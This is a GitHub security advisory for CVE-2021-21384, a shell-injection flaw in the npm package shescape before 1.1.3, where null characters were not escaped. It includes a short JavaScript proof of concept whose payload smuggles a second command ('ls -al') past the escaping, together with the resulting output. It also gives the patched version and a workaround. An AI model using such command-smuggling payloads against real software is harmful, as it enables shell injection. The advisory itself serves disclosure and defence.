Skip to content

Null characters not escaped

High severity GitHub Reviewed Published Mar 13, 2021 in ericcornelissen/shescape • Updated Feb 1, 2023

Package

npm shescape (npm)

Affected versions

< 1.1.3

Patched versions

1.1.3

Description

Impact

Anyone using Shescape to defend against shell injection may still be vulnerable against shell injection if the attacker manages to insert a null character into the payload. For example (on Windows):

const cp = require("child_process");
const shescape = require("shescape");

const nullChar = String.fromCharCode(0);
const payload = "foo\" && ls -al ${nullChar} && echo \"bar";
console.log(cp.execSync(`echo ${shescape.quote(payload)}`));
// foototal 3
// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 18:44 .
// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 00:09 ..
// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 18:42 folder                                                                 
// -rw-r--r-- 1 owner XXXXXX      0 Mar 13 18:42 file

Patches

The problem has been patched in v1.1.3 which you can upgrade to now. No further changes are required.

Workarounds

Alternatively, null characters can be stripped out manually using e.g. arg.replace(/\u{0}/gu, "")

References

@ericcornelissen ericcornelissen published to ericcornelissen/shescape Mar 13, 2021
Reviewed Mar 18, 2021
Published to the GitHub Advisory Database Mar 18, 2021
Published by the National Vulnerability Database Mar 19, 2021
Last updated Feb 1, 2023

Severity

High

EPSS score

0.081%
(35th percentile)

Weaknesses

CVE ID

CVE-2021-21384

GHSA ID

GHSA-f2rp-38vg-j3gh

Source code

No known source code
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.